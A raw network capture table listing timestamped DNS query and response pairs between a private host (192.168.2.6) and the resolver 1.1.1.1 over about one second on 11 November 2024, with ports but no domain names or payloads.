Nov 11, 2024 18:50:45.802678108 CET	53	51611	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.802767038 CET	53	56301	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.803181887 CET	53	62501	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.805553913 CET	56466	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.806375980 CET	53	57818	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.806386948 CET	53	58688	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.806397915 CET	53	58853	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.808563948 CET	53	62150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.808851004 CET	53	57441	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.809286118 CET	53	56655	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.810758114 CET	55032	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.810889959 CET	59289	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.810983896 CET	53881	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.811141014 CET	52374	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.813011885 CET	53	56466	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.813178062 CET	65197	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.816637039 CET	53	55724	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.818676949 CET	53	57462	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.820497990 CET	53	59289	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.820513964 CET	53	55032	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.821110010 CET	53	53881	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.822571039 CET	61821	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.822712898 CET	53	52374	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.822884083 CET	53	57538	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.824213982 CET	58696	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.824417114 CET	53	65197	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.824428082 CET	53	61611	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.825795889 CET	53	63293	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.827249050 CET	53	54239	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.828551054 CET	53	49674	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.828564882 CET	53	57840	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.829044104 CET	56345	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.835665941 CET	53	51362	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.838603973 CET	53	56345	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.841559887 CET	53	61821	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.855859995 CET	53	58696	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.891077995 CET	63746	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.891304970 CET	60719	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.891304970 CET	49215	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.905599117 CET	49667	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.905925035 CET	61949	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.910798073 CET	53	49215	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.912528038 CET	49588	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.912803888 CET	49867	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.913223028 CET	52413	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.913480043 CET	54007	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.913669109 CET	56851	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.913810968 CET	58930	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.913934946 CET	57480	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.914103985 CET	64743	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.914402008 CET	61227	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.915688038 CET	53	61949	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.916198015 CET	58479	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.916887045 CET	58504	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.918284893 CET	53	49667	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.920756102 CET	53715	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.920908928 CET	56587	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.921113968 CET	58281	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.921377897 CET	53	49588	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.922473907 CET	53	64743	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.922626019 CET	53	63746	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.922782898 CET	53	52413	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.922794104 CET	53	60719	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.923537970 CET	53	54007	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.923552036 CET	53	56851	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.923664093 CET	53	49867	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.924185991 CET	62985	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.924339056 CET	57611	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.924525023 CET	53698	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.924673080 CET	62914	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.924767017 CET	53	58930	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.924849987 CET	53	61227	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.925576925 CET	55716	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.925825119 CET	55415	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.926532984 CET	60149	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.927221060 CET	59534	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.927222013 CET	61594	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.927551031 CET	50315	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.928200960 CET	53	58479	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.928323984 CET	53	58504	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.929644108 CET	53	58281	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.931513071 CET	53	53715	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.932332039 CET	55469	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.932332039 CET	50941	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.933039904 CET	53	57480	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.935937881 CET	53	62914	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.936064959 CET	53	55716	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.938730001 CET	53	61594	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.943284988 CET	53	55469	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.945259094 CET	61770	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.945724010 CET	52998	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.948055029 CET	62465	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:45.953392982 CET	53	56587	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.955266953 CET	53	62985	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.955286026 CET	53	57611	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.955948114 CET	53	61770	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.957012892 CET	53	53698	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.957695961 CET	53	55415	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.958204985 CET	53	59534	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.958395958 CET	53	62465	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.961678028 CET	53	50315	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.961692095 CET	53	60149	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.964258909 CET	53	50941	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:45.978404999 CET	53	52998	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.155175924 CET	53796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.155508995 CET	55227	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.157488108 CET	60661	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.157803059 CET	54025	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.159032106 CET	62641	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.159341097 CET	59396	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.162229061 CET	54942	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.163660049 CET	50223	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.166575909 CET	53	55227	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.166663885 CET	53	60661	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.167819023 CET	53	54025	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.169189930 CET	53	59396	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.179685116 CET	58675	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.182977915 CET	65333	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.183232069 CET	57840	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.183654070 CET	53265	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.184726954 CET	64796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.185482025 CET	53730	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.185816050 CET	54408	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.187880039 CET	53	53796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.189479113 CET	53	62641	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.189827919 CET	59417	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.192081928 CET	53	54942	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.194215059 CET	53	57840	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.194581985 CET	53	65333	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.194704056 CET	53	50223	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.194721937 CET	53	54408	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.194818020 CET	53	53265	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.195554972 CET	60497	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.203102112 CET	53	59417	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.204380035 CET	53	64796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.204651117 CET	63642	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.207564116 CET	50175	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.208877087 CET	60411	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.213505983 CET	60052	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.217792988 CET	53	53730	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.218482971 CET	53	58675	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.218996048 CET	53	50175	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.223346949 CET	58333	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.224435091 CET	53	60052	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.225126982 CET	53568	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.226389885 CET	53	60497	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.232094049 CET	53	58333	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.237584114 CET	53	63642	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.240511894 CET	53	60411	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.246642113 CET	52405	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.246670008 CET	57769	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.246995926 CET	49820	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.247319937 CET	50322	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.247374058 CET	65013	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.247469902 CET	61450	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.247606993 CET	61847	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.247734070 CET	65416	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.248193979 CET	54448	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.248210907 CET	53540	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.248308897 CET	49636	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.248399019 CET	49576	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.248588085 CET	55041	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.248800039 CET	58556	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.248989105 CET	52048	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.251764059 CET	60907	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.252176046 CET	62597	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.252784967 CET	55891	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.254148960 CET	64674	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.254878998 CET	60188	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.255513906 CET	63576	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.256302118 CET	63477	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.257287979 CET	53	58556	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.258016109 CET	53	65416	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.258124113 CET	53	53568	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.258737087 CET	53	49820	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.258749962 CET	53	65013	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.258958101 CET	53	52405	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.258981943 CET	53	55041	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.258991957 CET	53	54448	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.259037018 CET	53	61450	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.260401011 CET	53	50322	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.260999918 CET	53	53540	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.265405893 CET	53	63576	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.265758038 CET	53	55891	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.265769005 CET	53	64674	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.265981913 CET	53	60188	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.267133951 CET	53	60907	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.267891884 CET	51581	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.270812988 CET	61204	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.278588057 CET	53	51581	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.279575109 CET	57825	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.280002117 CET	53	57769	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.280165911 CET	56147	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.280550957 CET	53	61204	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.280564070 CET	53	61847	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.280623913 CET	53	49576	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.282130957 CET	53	49636	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.282147884 CET	53	52048	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.284600019 CET	53	62597	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.285737038 CET	63826	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.286643028 CET	53	63477	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.286855936 CET	58402	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.289969921 CET	53	56147	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.298587084 CET	53	58402	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.303428888 CET	64335	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.303714037 CET	64864	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.303916931 CET	64525	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.305082083 CET	63846	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.305301905 CET	52388	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.311283112 CET	53	57825	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.313921928 CET	53	64335	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.314414978 CET	53	63846	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.315093994 CET	53	64525	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.318829060 CET	53	63826	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.335661888 CET	53	52388	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.335875034 CET	53	64864	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.346206903 CET	62286	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.351659060 CET	51087	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.355880022 CET	53	62286	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.356245041 CET	57416	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.356313944 CET	60227	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.363262892 CET	57418	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.363905907 CET	53	57416	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.365959883 CET	50586	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.366373062 CET	50479	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.366769075 CET	53	60227	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.383600950 CET	53	51087	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.384227991 CET	53	50586	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.389991045 CET	62915	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.395282030 CET	53	57418	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.396962881 CET	53	50479	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.407825947 CET	53	62915	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.457942963 CET	62072	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.460469961 CET	53791	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.465318918 CET	61280	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.466861963 CET	52379	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.469060898 CET	64498	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.470403910 CET	56548	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.471019030 CET	53	53791	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.471631050 CET	51554	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.472618103 CET	61356	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.473427057 CET	57036	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.473958015 CET	64642	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.474251032 CET	52886	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.474555016 CET	55019	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.475698948 CET	53630	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.476249933 CET	53	52379	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.478059053 CET	56043	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.479989052 CET	54556	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.480846882 CET	53	56548	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.481086016 CET	49197	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.481576920 CET	53	51554	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.482285976 CET	53	61356	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.483350039 CET	53	57036	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.484280109 CET	53	52886	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.485426903 CET	53	53630	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.486112118 CET	65512	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.486572981 CET	57393	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.487648010 CET	49626	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.489270926 CET	53	62072	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.489651918 CET	53	54556	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.491683960 CET	53	49197	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.496400118 CET	63429	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.496778965 CET	58695	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.499794006 CET	53	61280	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.499809980 CET	53	49626	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.499821901 CET	53	57393	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.500787020 CET	53	64498	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.502948046 CET	49415	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.504158974 CET	61819	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.505795002 CET	62859	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.505906105 CET	62543	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.506099939 CET	65381	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.506375074 CET	51910	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.506792068 CET	53	55019	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.508135080 CET	53	64642	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.508774996 CET	53	58695	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.509881973 CET	53	56043	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.513251066 CET	58738	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.513957977 CET	56847	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.513969898 CET	53	49415	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.514401913 CET	53	61819	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.515167952 CET	53	65381	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.515984058 CET	53	51910	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.517786980 CET	53	65512	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.521738052 CET	49657	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.522444010 CET	53	58738	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.524652958 CET	53	56847	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.528047085 CET	53	63429	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.531069994 CET	61615	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.531518936 CET	50612	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.531826973 CET	59249	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.532458067 CET	61096	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.532666922 CET	62772	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.532845974 CET	59928	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.533041954 CET	58406	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.533164024 CET	60717	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.533200979 CET	54100	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.535475969 CET	57598	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.535737038 CET	62254	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.537125111 CET	53	62543	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.537331104 CET	53	62859	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.540783882 CET	53	61615	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.542881012 CET	53	57598	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.543131113 CET	53	54100	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.543143034 CET	53	59249	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.543332100 CET	53	59928	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.543672085 CET	53	60717	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.545919895 CET	52632	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.552084923 CET	53207	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.553170919 CET	53	49657	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.556801081 CET	53	52632	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.562680006 CET	53	61096	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.562694073 CET	53	50612	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.562793970 CET	52324	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.563054085 CET	64896	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.563222885 CET	53584	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.563894033 CET	54562	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.564805984 CET	53	62772	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.565346003 CET	58249	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.567540884 CET	53	62254	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.568643093 CET	58297	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.570242882 CET	59375	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.573296070 CET	53	64896	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.573398113 CET	53	53584	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.573518038 CET	53	52324	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.574367046 CET	53	54562	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.576401949 CET	53	58297	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.581492901 CET	52742	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.583431959 CET	53	53207	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.592668056 CET	53	52742	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.596210957 CET	53	58249	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.601303101 CET	53	59375	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.611032963 CET	61831	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.611291885 CET	61404	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.611490011 CET	58370	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.616173983 CET	51553	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.616493940 CET	57801	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.616669893 CET	51390	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.617037058 CET	57503	53	192.168.2.6	1.1.1.1
